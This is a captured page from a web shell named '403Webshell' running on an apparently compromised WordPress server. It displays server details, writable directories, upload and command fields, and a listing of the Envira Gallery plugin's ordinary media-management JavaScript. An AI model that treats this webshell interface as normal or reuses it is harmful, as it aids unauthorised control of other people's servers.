403Webshell
Server IP : 104.21.74.147  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/envira-gallery/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/envira-gallery/assets/js/media-manage.js
/* global envira_gallery_metabox, wp */
/**
 * Handles Mangement functions, deselection and sorting of media in an Envira gallery
 */
var envira_manage = window.envira_manage || {};

(function ($, window, document, envira_manage, envira_gallery_metabox) {
	'use strict';
	// Setup some vars
	var output = '#envira-gallery-output',
		list = $(output + ' li').length,
		shift_key_pressed = false,
		last_selected_image = false;

	window.envira_manage = envira_manage = {
		init: function () {
			var self = this;

			// Select Functions
			self.select();
			self.select_all();
			self.clear_selected();
			self.image_select();

			// Sortable
			self.sortable();
			self.sort_images();

			// List/Grid Display
			self.display_toggle();

			// Items
			self.delete_item();
			self.bulk_delete();
			self.edit_meta();
			self.toggle_status();

			self.tooltip();

			// Determine whether the shift key is pressed or not
			$(document).on('keyup keydown', function (e) {
				shift_key_pressed = e.shiftKey;
			});

			// Filter Functions
			self.image_filter();

			// Envira Admin Init Trigger
			$(document).trigger('envriaAdminInit');
		},

		image_select: function () {
			$('#envira-config-layouts').imagepicker({show_label: true});
		},
		image_filter: function () {
			$('#envira-filter-images').on('keyup', function () {
				var $this = $(this),
					val = $this.val(),
					items = $('.envira-gallery-image'),
					selected = '';

				if (val != '') {
					items.each(function (e) {
						if ($(this).find('.title').text().search(val) > -1) {
							$(this).show().fadeIn(1000);
						} else {
							$(this).hide().fadeOut(1000);
							$(this).removeClass('selected');
							// Get the new selected count
							selected = $(output + ' li.selected').length;

							last_selected_image = false;

							if (selected !== 0) {
								$('.select-all').text(envira_gallery_metabox.selected);
								$('.envira-count').text(selected.toString());
								$('.envira-clear-selected').fadeIn();
							} else {
								list = $(output + ' li').length;

								$('.select-all').text(envira_gallery_metabox.select_all);
								$('.envira-count').text(list.toString());
								$('.envira-clear-selected').fadeOut();

								$('.select-all').text(envira_gallery_metabox.select_all);
								$('.envira-count').text(list.toString());
								$('.envira-clear-selected').fadeOut();
							}
						}
					});
				} else {
					items.show();
					// show all items
				}
			});
		},
		// Toggle Image States
		toggle_status: function () {
			$(output).on('click.enviraStatus', '.envira-item-status', function (e) {
				// Prevent default action
				e.preventDefault();
				e.stopPropagation();

				var $this = $(this),
					$data = $this.data('status'),
					$parent = $this.hasClass('list-status')
						? $this.parent().parent().parent()
						: $this.parent(),
					$list_view = $parent.find('.envira-item-status.list-status'),
					$grid_view = $parent.find('.envira-item-status.grid-status'),
					id = $this.data('id'),
					$icon = $grid_view.find('span.dashicons'),
					$text = $list_view.find('span'),
					$status = $data === 'active' ? 'pending' : 'active',
					opts = {
						url: envira_gallery_metabox.ajax,
						type: 'post',
						async: true,
						cache: false,
						dataType: 'json',
						data: {
							action: 'envira_change_image_status',
							post_id: envira_gallery_metabox.id,
							gallery_id: id,
							status: $status,
							nonce: envira_gallery_metabox.save_nonce
						},
						success: function (response) {
							if (response.success) {
								if ($status === 'active') {
									// Toggle Classes
									$grid_view.removeClass('envira-draft-item').addClass('envira-active-item');
									$list_view.removeClass('envira-draft-item').addClass('envira-active-item');

									// Set the proper icons
									$icon.removeClass('dashicons-hidden').addClass('dashicons-visibility');

									// Set the Text
									$text.text(envira_gallery_metabox.active);

									$grid_view.attr('data-envira-tooltip', envira_gallery_metabox.active);

									// Set the Data
									$list_view.data('status', 'active');
									$grid_view.data('status', 'active');
								} else {
									// Toggle Classes
									$grid_view.removeClass('envira-active-item').addClass('envira-draft-item');
									$list_view.removeClass('envira-active-item').addClass('envira-draft-item');

									// Set the proper icons
									$icon.removeClass('dashicons-visibility').addClass('dashicons-hidden');

									// Set the text
									$text.text(envira_gallery_metabox.draft);
									// Set the Data
									$list_view.data('status', 'pending');
									$grid_view.data('status', 'pending');
									$grid_view.attr('data-envira-tooltip', envira_gallery_metabox.draft);
								}

								$(document).trigger('envriaChangeStatus ');
							}
						},
						error: function (xhr, textStatus, e) {
							return;
						}
					};

				$.ajax(opts);
			});
		},

		// Simple Tooltip
		tooltip: function () {
			$('[data-envira-tooltip]').on('mouseover', function (e) {
				e.preventDefault();
				var $this = $(this),
					$data = $this.data('envira-tooltip');
			});
		},

		// Select All images
		select_all: function () {
			// Toggle Select All / Deselect All
			$(document).on('change', 'nav.envira-tab-options input', function (e) {
				if ($(this).prop('checked')) {
					$('li', $(output)).addClass('selected');
					$('nav.envira-select-options').fadeIn();

					var selected = $(output + ' li.selected').length;
					$('.select-all').text(envira_gallery_metabox.selected);
					$('.envira-count').text(selected.toString());
					$('.envira-clear-selected').fadeIn();
				} else {
					$('li', $(output)).removeClass('selected');
					$('nav.envira-select-options').fadeOut();
					list = $(output + ' li').length;

					$('.select-all').text(envira_gallery_metabox.select_all);
					$('.envira-count').text(list.toString());
					$('.envira-clear-selected').fadeOut();
				}

				$(document).trigger('enviraSelectAll');
			});
		},

		// Sort Images
		sort_images: function () {
			$(document).on(
				'change',
				'#envira-config-image-sort, #envira-config-image-sort-dir',
				function () {
					var $this = $(this),
						$sort = $('#envira-config-image-sort').val(),
						$direction = $('#envira-config-image-sort-dir').val(),
						opts = {
							url: envira_gallery_metabox.ajax,
							type: 'post',
							async: true,
							cache: false,
							dataType: 'json',
							data: {
								action: 'envira_sort_publish',
								post_id: envira_gallery_metabox.id,
								order: $sort,
								direction: $direction,
								nonce: envira_gallery_metabox.save_nonce
							},
							success: function (response) {
								// Response should be a JSON success with the HTML for the image grid
								if (response) {
									// Set the image grid to the HTML we received
									$(output).html(response.data);

									EnviraGalleryImagesUpdate(false);

									if ($sort === 'manual' || $sort == '0') {
										$(output).attr('data-sortable', '1');
									} else {
										$(output).attr('data-sortable', '0');
									}

									// Re-Trigger sortable
									envira_manage.sortable();
								}
							},
							error: function (xhr, textStatus, e) {
								return;
							}
						};

					$.ajax(opts);
				}
			);
		},

		// Drag and drop
		sortable: function () {
			var is_sortable = $(output).attr('data-sortable');

			if (is_sortable === '1') {
				if ($(output).hasClass('ui-sortable')) {
					$(output).sortable('enable');
				}

				// Add sortable support to Envira Gallery Media items
				$(output).sortable({
					containment: output,
					items: 'li',
					cursor: 'move',
					forcePlaceholderSize: true,
					placeholder: 'dropzone',
					helper: function (e, item) {
						// Basically, if you grab an unhighlighted item to drag, it will deselect (unhighlight) everything else
						if (!item.hasClass('selected')) {
							item.addClass('selected').siblings().removeClass('selected');
						}

						// Clone the selected items into an array
						var elements = item.parent().children('.selected').clone();

						// Add a property to `item` called 'multidrag` that contains the
						// selected items, then remove the selected items from the source list
						item.data('multidrag', elements).siblings('.selected').remove();

						// Now the selected items exist in memory, attached to the `item`,
						// so we can access them later when we get to the `stop()` callback
						// Create the helper
						var helper = $('<li/>');
						return helper.append(elements);
					},
					stop: function (e, ui) {
						// Remove the helper so we just display the sorted items
						var elements = ui.item.data('multidrag');
						ui.item.after(elements).remove();

						// Send AJAX request to store the new sort order
						$.ajax({
							url: envira_gallery_metabox.ajax,
							type: 'post',
							async: true,
							cache: false,
							dataType: 'json',
							data: {
								action: 'envira_gallery_sort_images',
								order: $(output).sortable('toArray').toString(),
								post_id: envira_gallery_metabox.id,
								nonce: envira_gallery_metabox.sort
							},
							success: function (response) {
								// Repopulate the Envira Gallery Backbone Image Collection
								EnviraGalleryImagesUpdate(false);
								return;
							},
							error: function (xhr, textStatus, e) {
								// Inject the error message into the tab settings area
								$(output).before('<div class="error"><p>' + textStatus.responseText + '</p></div>');
							}
						});
					}
				});
			} else {
				if ($(output).hasClass('ui-sortable')) {
					$(output).sortable('disable');
				}
			}
		},

		// Select Single Images
		select: function () {
			// Select / deselect images
			$(document).on(
				'click',
				'ul#envira-gallery-output li.envira-gallery-image > img, li.envira-gallery-image > div, li.envira-gallery-image > a.check',
				function (e) {
					// Prevent default action
					e.preventDefault();

					// Get the selected gallery item
					var $this = $(this),
						$gallery_item = $this.parent(),
						selected = '';

					if ($gallery_item.hasClass('selected')) {
						$gallery_item.removeClass('selected');

						// Get the new selected count
						selected = $(output + ' li.selected').length;

						last_selected_image = false;

						if (selected !== 0) {
							$('.select-all').text(envira_gallery_metabox.selected);
							$('.envira-count').text(selected.toString());
							$('.envira-clear-selected').fadeIn();
						} else {
							list = $(output + ' li').length;

							$('.select-all').text(envira_gallery_metabox.select_all);
							$('.envira-count').text(list.toString());
							$('.envira-clear-selected').fadeOut();
						}
					} else {
						// If the shift key is being held down, and there's another image selected, select every image between this clicked image
						// and the other selected image
						if (shift_key_pressed && last_selected_image !== false) {
							// Get index of the selected image and the last image
							var start_index = $('ul#envira-gallery-output li').index($(last_selected_image)),
								end_index = $('ul#envira-gallery-output li').index($($gallery_item)),
								i = 0;

							// Select images within the range
							if (start_index < end_index) {
								for (i = start_index; i <= end_index; i++) {
									$('ul#envira-gallery-output li:eq( ' + i + ')').addClass('selected');
								}
							} else {
								for (i = end_index; i <= start_index; i++) {
									$('ul#envira-gallery-output li:eq( ' + i + ')').addClass('selected');
								}
							}
						}

						// Select the clicked image
						$($gallery_item).addClass('selected');

						last_selected_image = $($gallery_item);

						selected = $(output + ' li.selected').length;
						$('.envira-clear-selected').fadeIn();

						$('.select-all').text(envira_gallery_metabox.selected);
						$('.envira-count').text(selected.toString());
					}

					// Show/hide buttons depending on whether
					// any galleries have been selected
					if ($('ul#envira-gallery-output > li.selected').length > 0) {
						$('nav.envira-select-options').fadeIn();
					} else {
						$('nav.envira-select-options').fadeOut();
					}
				}
			);
		},

		// Clear Selection
		clear_selected: function () {
			$('.envira-clear-selected').on('click', function (e) {
				e.preventDefault();

				$(output + ' li.selected').removeClass('selected');

				list = $(output + ' li').length;

				$('.select-all').text(envira_gallery_metabox.select_all);
				$('.envira-count').text(list.toString());
				$('.envira-select-all').prop('checked', false);
				$('nav.envira-select-options').fadeOut();

				$(this).fadeOut();

				$(document).trigger('enviraClearSelected');
			});
		},

		// Toggle List / Grid View
		display_toggle: function () {
			$(document).on('click', 'nav.envira-tab-options a', function (e) {
				e.preventDefault();

				// Get the view the user has chosen
				var envira_tab_nav = $(this).closest('.envira-tab-options'),
					envira_tab_view = $(this).data('view'),
					envira_tab_view_style = $(this).data('view-style');

				// If this view style is already displayed, don't do anything
				if ($(envira_tab_view).hasClass(envira_tab_view_style)) {
					return;
				}

				// Update the view class
				$(envira_tab_view).removeClass('list').removeClass('grid').addClass(envira_tab_view_style);

				// Mark the current view icon as selected
				$('a', envira_tab_nav).removeClass('selected');
				$(this).addClass('selected');

				// Send an AJAX request to store this user's preference for the view
				// This means when they add or edit any other Gallery, the image view will default to this setting
				$.ajax({
					url: envira_gallery_metabox.ajax,
					type: 'post',
					dataType: 'json',
					data: {
						action: 'envira_gallery_set_user_setting',
						name: 'envira_gallery_image_view',
						value: envira_tab_view_style,
						nonce: envira_gallery_metabox.set_user_setting_nonce
					},
					success: function (response) {
						$(document).trigger('enviraDisplayToggle');
					},
					error: function (xhr, textStatus, e) {
						// Inject the error message into the tab settings area
						$(envira_gallery_output).before(
							'<div class="error"><p>' + textStatus.responseText + '</p></div>'
						);
					}
				});
			});
		},

		// Chosen Select boxes
		chosen: function () {
			// Create the Select boxes
			$('.envira-chosen').each(function () {
				alert('b');

				// Get the options from the data.
				var data_options = $(this).data('envira-chosen-options');

				$(this).chosen(data_options);
			});
		},

		// Update Item Count
		update_count: function () {
			list = $(output + ' li').length;

			// update the count value
			$('.envira-count').text(list.toString());

			if (list > 0) {
				$('#envira-empty-itemr').fadeOut().addClass('envira-hidden');
				$('.envira-item-header').removeClass('envira-hidden').fadeIn();
				$('.envira-bulk-actions').fadeOut();
			}
		},

		// Deletes an items out of the gallery
		delete_item: function () {
			/**
			 * Delete Single Image
			 */
			$(document).on('click', '#envira-gallery-main .envira-gallery-remove-image', function (e) {
				e.preventDefault();

				// Bail out if the user does not actually want to remove the image.
				var confirm_delete = confirm(envira_gallery_metabox.remove);
				if (!confirm_delete) {
					return;
				}

				// Send an AJAX request to delete the selected items from the Gallery
				var attach_id = $(this).parent().attr('id');
				$.ajax({
					url: envira_gallery_metabox.ajax,
					type: 'post',
					dataType: 'json',
					data: {
						action: 'envira_gallery_remove_image',
						attachment_id: attach_id,
						post_id: envira_gallery_metabox.id,
						nonce: envira_gallery_metabox.remove_nonce
					},
					success: function (response) {
						$('#' + attach_id).fadeOut('normal', function () {
							$(this).remove();

							// Refresh the modal view to ensure no items are still checked if they have been removed.
							$('.envira-gallery-load-library')
								.attr('data-envira-gallery-offset', 0)
								.addClass('has-search')
								.trigger('click');

							// Repopulate the Envira Gallery Image Collection
							EnviraGalleryImagesUpdate(false);

							envira_manage.update_count();
							envira_manage.start_screen();
						});
					},
					error: function (xhr, textStatus, e) {
						// Inject the error message into the tab settings area
						$(envira_gallery_output).before(
							'<div class="error"><p>' + textStatus.responseText + '</p></div>'
						);
					}
				});
			});
		},
		// Bulk Deletes selected items
		bulk_delete: function () {
			/**
			 * Delete Multiple Images
			 */
			$(document).on('click', 'a.envira-gallery-images-delete', function (e) {
				e.preventDefault();

				// Bail out if the user does not actually want to remove the image.
				var confirm_delete = confirm(envira_gallery_metabox.remove_multiple);
				if (!confirm_delete) {
					return false;
				}

				// Build array of image attachment IDs
				var attach_ids = [];
				$('ul#envira-gallery-output > li.selected').each(function () {
					attach_ids.push($(this).attr('id'));
				});

				$.ajax({
					url: envira_gallery_metabox.ajax,
					type: 'post',
					dataType: 'json',
					data: {
						action: 'envira_gallery_remove_images',
						attachment_ids: attach_ids,
						post_id: envira_gallery_metabox.id,
						nonce: envira_gallery_metabox.remove_nonce
					},
					success: function (response) {
						if (response) {
							// Remove each image
							$(output + ' > li.selected').remove();

							// Hide Select Options
							$('nav.envira-select-options').fadeOut();

							// Refresh the modal view to ensure no items are still checked if they have been removed.
							$('.envira-gallery-load-library')
								.attr('data-envira-gallery-offset', 0)
								.addClass('has-search')
								.trigger('click');

							// Repopulate the Envira Gallery Image Collection
							EnviraGalleryImagesUpdate(false);
							envira_manage.update_count();
							envira_manage.start_screen();
							$('.envira-select-all').prop('checked', false);
						}
					},
					error: function (xhr, textStatus, e) {
						// Inject the error message into the tab settings area
						$(envira_gallery_output).before(
							'<div class="error"><p>' + textStatus.responseText + '</p></div>'
						);
					}
				});
			});
		},

		// Trigger edit meta screen
		edit_meta: function () {
			// Edit Image
			$(document).on('click', '#envira-gallery-main a.envira-gallery-modify-image', function (e) {
				// Prevent default action
				e.preventDefault();

				// (Re)populate the collection
				// The collection can change based on whether the user previously selected specific images
				EnviraGalleryImagesUpdate(false);

				// Get the selected attachment
				var attachment_id = $(this).parent().data('envira-gallery-image');

				// Pass the collection of images for this gallery to the modal view, as well
				// as the selected attachment
				EnviraGalleryModalWindow.content(
					new EnviraGalleryEditView({
						collection: EnviraGalleryImages,
						child_views: EnviraGalleryChildViews,
						attachment_id: attachment_id
					})
				);

				// Open the modal window
				EnviraGalleryModalWindow.open();

				$(document).trigger('enviraEditOpen');
			});
		},

		start_screen: function () {
			// Get Slide Count
			list = $(output + ' li').length;

			// If there are no slides
			if (list === 0) {
				// Make sure bulk actions are out of view
				$('nav.envira-select-options').fadeOut();

				// Fade out Settings header
				$('.envira-content-images').fadeOut().addClass('envira-hidden');

				// Add Empty Slider Content
				$('#envira-empty-gallery').removeClass('envira-hidden').fadeIn();
			} else {
				// Fade out Settings header
				$('#envira-empty-gallery').fadeOut().addClass('envira-hidden');

				// Add Empty Slider Content
				$('.envira-content-images').removeClass('envira-hidden').fadeIn();
			}
		},
		update_selection: function () {}
	};

	// DOM ready
	$(function () {
		envira_manage.init();
	});

	// Re init on type change
	$(document).on('enviraGalleryType', function () {
		envira_manage.init();
	});

	// Update slide count
	$(document).on('enviraInsert', function () {
		envira_manage.start_screen();
		envira_manage.update_count();
	});
})(jQuery, window, document, envira_manage, envira_gallery_metabox);

Youez - 2016 - github.com/yon3zu
LinuXploit